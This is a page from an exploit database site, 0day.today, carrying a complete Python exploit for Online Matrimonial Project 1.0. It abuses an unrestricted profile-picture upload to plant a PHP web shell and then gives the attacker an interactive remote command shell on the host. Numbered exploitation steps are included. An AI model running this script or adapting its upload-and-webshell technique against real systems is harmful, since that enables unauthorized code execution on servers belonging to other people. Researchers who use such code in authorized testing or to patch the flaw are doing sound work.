0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Online Matrimonial Project 1.0 - Authenticated Remote Code Execution Exploit
# Exploit Title: Online Matrimonial Project 1.0 - Authenticated Remote Code Execution # Exploit Author: Valerio Alessandroni # Vendor Homepage: https://projectworlds.in/ # Software Link: https://projectworlds.in/free-projects/php-projects/online-matrimonial-project-in-php/ # Source Link: https://github.com/projectworldsofficial/online-matrimonial-project-in-php # Version: 1.0 # Tested On: Server Linux Ubuntu 18.04, Apache2 # Version: Python 2.x # Impact: Code Execution # Affected components: Affected move_uploaded_file() function in functions.php file. # Software: Marital - Online Matrimonial Project In PHP version 1.0 suffers from a File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file. # Attack vector: An authenticated (you can register a user for free) not privileged user is able to upload arbitrary file in the upload form used to send profile pics, if the file is a PHP script, it can be executed. # # Additional information: # # To exploit this vulnerability: # 1) register a not privileged user at /register.php # 2) login in the application /login.php # 3) keep note of the redirect with the GET 'id' parameter /userhome.php?id=[ID] # 4) go to the page /photouploader.php?id=[ID] # 5) upload an arbitrary file in the upload form, in my example, I used a file called shell.php with the content of "<?php system($_GET['cmd']); ?>" # 6) An error will occurr, but the file is correctly uploaded at /profile/[ID]/shell.php # 7) run command system command through /profile/[ID]/shell.php?cmd=[COMMAND] # # How to use it: # python exploit.py [URL] [USERNAME] [PASSWORD] import requests, sys, urllib, re, time from colorama import Fore, Back, Style requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def webshell(SERVER_URL, ID, FILE_NAME): try: print(Fore.YELLOW+'[+] '+Fore.RESET+'Connecting to webshell...') time.sleep(1) WEB_SHELL = SERVER_URL+'profile/'+ID+'/'+FILE_NAME getCMD = {'cmd': 'echo ciao'} r2 = requests.get(WEB_SHELL, params=getCMD) status = r2.status_code if status != 200: print(Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL) r2.raise_for_status() print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.') while True: inputCMD = raw_input('$ ') command = {'cmd': inputCMD} r2 = requests.get(WEB_SHELL, params=command, verify=False) print r2.text except: print("\r\nExiting.") sys.exit(-1) def printHeader(): print(Fore.GREEN+"___ ___ _ _ _ "+Fore.RED+" ______ _____ _____") print(Fore.GREEN+"| \/ | (_)| | | |"+Fore.RED+" | ___ \/ __ \| ___|") print(Fore.GREEN+"| . . | __ _ _ __ _ | |_ __ _ | |"+Fore.RED+" | |_/ /| / \/| |__ ") print(Fore.GREEN+"| |\/| | / _` || '__|| || __|/ _` || |"+Fore.RED+" | / | | | __| ") print(Fore.GREEN+"| | | || (_| || | | || |_| (_| || |"+Fore.RED+" | |\ \ | \__/\| |___ ") print(Fore.GREEN+"\_| |_/ \__,_||_| |_| \__|\__,_||_|"+Fore.RED+" \_| \_| \____/\____/ ") print '' if __name__ == "__main__": printHeader() if len(sys.argv) != 4: print (Fore.YELLOW+'[+] '+Fore.RESET+"Usage:\t python %s [URL] [USERNAME] [PASSWORD]" % sys.argv[0]) print (Fore.YELLOW+'[+] '+Fore.RESET+"Example:\t python %s https://192.168.1.1:443/marital/ Thomas password1234" % sys.argv[0]) sys.exit(-1) SERVER_URL = sys.argv[1] SERVER_URI = SERVER_URL + 'auth/auth.php' LOGIN_PARAMS = {'user': '1'} LOGIN_DATA = {'username': sys.argv[2], 'password': sys.argv[3], 'op': 'Log in'} req = requests.post(SERVER_URI, params=LOGIN_PARAMS, data=LOGIN_DATA, verify=False) print(Fore.YELLOW+'[+] '+Fore.RESET+'logging...') time.sleep(1) for resp in req.history: COOKIES = resp.cookies.get_dict() SPLITTED = resp.headers["location"].split("=") ID = SPLITTED[1] print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully retrieved user [ID].') time.sleep(1) SERVER_URI = SERVER_URL + 'photouploader.php' LOGIN_PARAMS = {'id': ID} LOGIN_DATA = {'username': sys.argv[2], 'password': sys.argv[3], 'op': 'Log in'} FILE_NAME = 'shell.php' FILES = {'pic1': (FILE_NAME, '<?php system($_GET[\'cmd\']); ?>'), 'pic2': ('', ''), 'pic3': ('', ''), 'pic4': ('', '')} req = requests.post(SERVER_URI, params=LOGIN_PARAMS, files=FILES, cookies=COOKIES, verify=False) print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully uploaded.') time.sleep(1) webshell(SERVER_URL, ID, FILE_NAME) # 0day.today [2024-11-15] #